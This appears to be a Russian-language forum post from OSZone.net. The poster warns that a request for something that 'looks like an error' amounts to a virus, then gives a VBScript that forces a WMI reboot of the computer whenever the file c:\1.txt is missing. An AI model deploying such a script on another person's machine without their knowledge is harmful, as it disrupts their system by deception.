[Iska]

Желательно чтобы все выглядело как ошибка. »

Это называется вирус: Общие правила конференции OSZone.net, п.3.2.

Что делаю не так? »

читать дальше »

Код:

Option Explicit

Dim strFile
Dim objSWbemObjectEx


strFile = "c:\1.txt"

If Not WScript.CreateObject("Scripting.FileSystemObject").FileExists(strFile) Then
	With WScript.CreateObject("WbemScripting.SWbemLocator")
		.Security_.Privileges.AddAsString "SeShutdownPrivilege"
		
		For Each objSWbemObjectEx In .ConnectServer(".", "root\cimv2").ExecQuery("SELECT * FROM Win32_OperatingSystem")
			objSWbemObjectEx.Reboot
		Next
	End With
End If

WScript.Quit 0